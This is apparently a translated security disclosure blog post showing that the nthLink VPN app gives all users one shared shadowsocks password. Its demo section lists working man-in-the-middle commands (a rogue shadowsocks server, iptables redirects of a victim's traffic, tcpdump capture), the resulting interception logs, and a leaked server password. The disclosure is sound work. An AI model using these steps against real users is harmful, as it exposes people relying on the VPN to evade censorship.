Removing nthLink VPN encryption

A note on nthLink VPN, its internals, and its catastrophic failure in cryptography. Why it might be important:

  • Some people may rely on non-existent security guarantees promised by this application. This product specifically claims to circumvent censorship, outlining its main use case. In this use case, a breach of privacy threatens to lead the user to inadvertently expose data to the censor that should have been hidden by the VPN connection.

  • Other similar applications using the same shadowsocks installation for many different users may also have this problem. In general, this protocol still only suitable for personal usenot for public services with many users.

Also this note may be of interest to people who would like to know how similar applications work internally.

About nthLink VPN

Interesting facts about the product.

Translation

Most importantly, it [приложение] uses strong encryption to protect the flow of information between consumer and source.

More safety statements:

Translation

Prevents censors from inspecting content/packages.

Twice passed the security audit:

Translation

Security Audits – two security audits were conducted on nthLink in 2019 and 2020 by the company Cure53 – an independent organization specializing in digital security, which checks the software in accordance with the latest security standards.

Excerpts from audit reports:

“In this conclusion, it is worth noting that for this project [аудита] used the model of a fairly strong attacker.”

“Held in October and November 2020, this project [аудита] focuses on the nthLink VPN app for Android, iOS and, in addition, for Windows, and accordingly on their security and respect for the privacy of end users.”

“Cure53 completed the verification of the fixes that followed the pentest and source code audit at the end of November 2020. The Cure53 team was able to verify all the fixes that were submitted by the nthLink team. This means that all relevant and in-scope finds found by Cure53 in the pentest and audit of the NTH-02 source code, have now been successfully patched, and the patches successfully address the vulnerabilities found.”

You can request audit reports, as well as threat models, by contacting the nthLink support team.

Interestingly, the audit report is not made public, but promised to be made available upon request. What’s the problem with posting it? In any case, in light of the findings presented here, it’s safe to assume that Cure53’s audit is either useless, or its focus was on the infrastructure/website and not the application itself.

The application is advertised as open source until your email requesting the source code ends up in the spam folder:

Translation

Please contact the nthLink support team to request access to the nthLink source code.

They received rather modest funding from a certain Open Technology Fund.

Application internals

The app pretends to act as a system-wide VPN, but it’s really just a shadowsocks proxy client. It uses badvpn tun2socks (or a similar program) to redirect all TCP and UDP sessions to a shadowsocks connection, which is not technically a VPN.

Although the source code is not published or readily available, it was trivial to extract it from a Windows app on an electron. JS code can be unpacked simply with the command npx asar extract. Here there is a complete guide on this topic.

An analysis of the source code showed that the algorithm for obtaining connection details can be roughly described as follows:

  1. Calculate the current API domain based on some domain seed given by the top-level domain configuration and the current date.

  2. If this domain is not available, then fall back to the hard-coded domain on AWS S3.

  3. Make a request to get the configuration body.

  4. The configuration body contains a signature (RSA-SHA256 PKCSv15). Check it out.

  5. Decrypt final JSON with connection credentials encrypted with AES256-CTR. The static encryption key is hardcoded. Also, this configuration payload contains the most up-to-date settings for calculating the API domain: the domain grain and the top-level domain.

I did alternative API clientwhich takes these steps and allows you to get the usual credentials for connecting to the shadowsocks server, which are suitable for any vanilla (regular) shadowsocks client.

But here’s the problem. All cryptographic keys in shadowsocks are derived from a common password, which is the same on the client and server. Therefore, if all clients know the symmetric pre-shared key (SPSK), they can use it to launch a man-in-the-middle attack against other clients on the same server. This is a catastrophic failure in cryptography that destroys the security of the protocol.

Demo? Demo!

Let’s demonstrate that anyone can see and interfere with the traffic protected by the nthLink application.

App installation and connection

The latest nthLink app is the nthLink app for Android version 5.1.0 released on April 1, 2021.

Installed and connected:

The connection has been verified. The IP address has changed to the IP address of the nthLink server:

shadowsocks scam server

The victim’s IP address on the network is 192.168.1.65. We need to redirect traffic for it to the nthLink shadowsocks servers to our fake shadowsocks server.

On the Linux gateway (router), let’s collect a list of http-like connections from the victim device:

fgrep 192.168.1.65 /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED

And on the other hand, we will launch nth-dumpuntil an address from the collected netlist appears.

Name:		nthLink Server
Host:		68.183.72.121
Port:		443
Method:		chacha20-ietf-poly1305
Password:	2djK1R9egUBi
URL:		ss://Y2hhY2hhMjAtaWV0Zi1wb2x5MTMwNToyZGpLMVI5ZWdVQmk=@68.183.72.121:443#nthLink%20Server

Now we have been able to correlate connections to the nthLink server and credentials to connect to it. Let’s start our fake shadowsocks server. For this purpose I use a server go-shadowsocks2:

./shadowsocks2-linux-arm -s 'ss://AEAD_CHACHA20_POLY1305:2djK1R9egUBi@:443' -verbose

Finally, let’s redirect the victim’s traffic to our rogue shadowsocks server:

iptables -t nat -I PREROUTING -m tcp -p tcp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443
iptables -t nat -I PREROUTING -m udp -p udp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443

Traffic interception achieved

Look at the go-shadowsocks2 logs:

2022/08/24 23:24:46 tcp.go:137: proxy 192.168.1.65:46868 <-> 108.177.119.94:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46882 <-> 142.250.203.142:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46890 <-> 172.217.18.3:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46900 <-> 142.250.185.109:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46908 <-> 142.250.184.228:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46914 <-> 142.250.185.67:443
2022/08/24 23:25:07 tcp.go:137: proxy 192.168.1.65:46920 <-> 34.160.111.145:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46930 <-> 8.8.4.4:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46936 <-> 8.8.8.8:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46944 <-> 8.8.8.8:443
2022/08/24 23:25:14 tcp.go:137: proxy 192.168.1.65:46952 <-> 172.217.20.202:443
2022/08/24 23:25:42 tcp.go:137: proxy 192.168.1.65:46966 <-> 149.154.167.50:443
2022/08/24 23:25:46 tcp.go:139: relay error: read tcp 46.250.2.79:60350->44.192.201.202:4244: read: connection reset by peer
2022/08/24 23:25:47 tcp.go:137: proxy 192.168.1.65:46972 <-> 44.192.201.202:443
2022/08/24 23:26:18 tcp.go:137: proxy 192.168.1.65:46980 <-> 216.58.215.99:443
2022/08/24 23:27:50 tcp.go:137: proxy 192.168.1.65:46986 <-> 149.154.167.50:443
2022/08/24 23:28:11 tcp.go:137: proxy 192.168.1.65:46992 <-> 149.154.167.50:443
2022/08/24 23:28:34 tcp.go:137: proxy 192.168.1.65:46998 <-> 149.154.167.50:443

As you can see, the connections are successfully redirected and our shadowsocks server understands and fulfills the requests.

Confirm redirect back to my home IP address, even with VPN enabled:

We could redirect traffic to the nthLink servers after the inspection so that everything looks normal, but for the purposes of the demo, we need to do this more explicitly, rather than covertly.

Finally, we will capture the traffic using tcpdump -i any -nvvs0 'dst port 443' -w hs.capto show that we see traffic just like we would without a VPN at all. Captured TLS handshake in Wireshark’s PCAP packet dump analyzer:

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *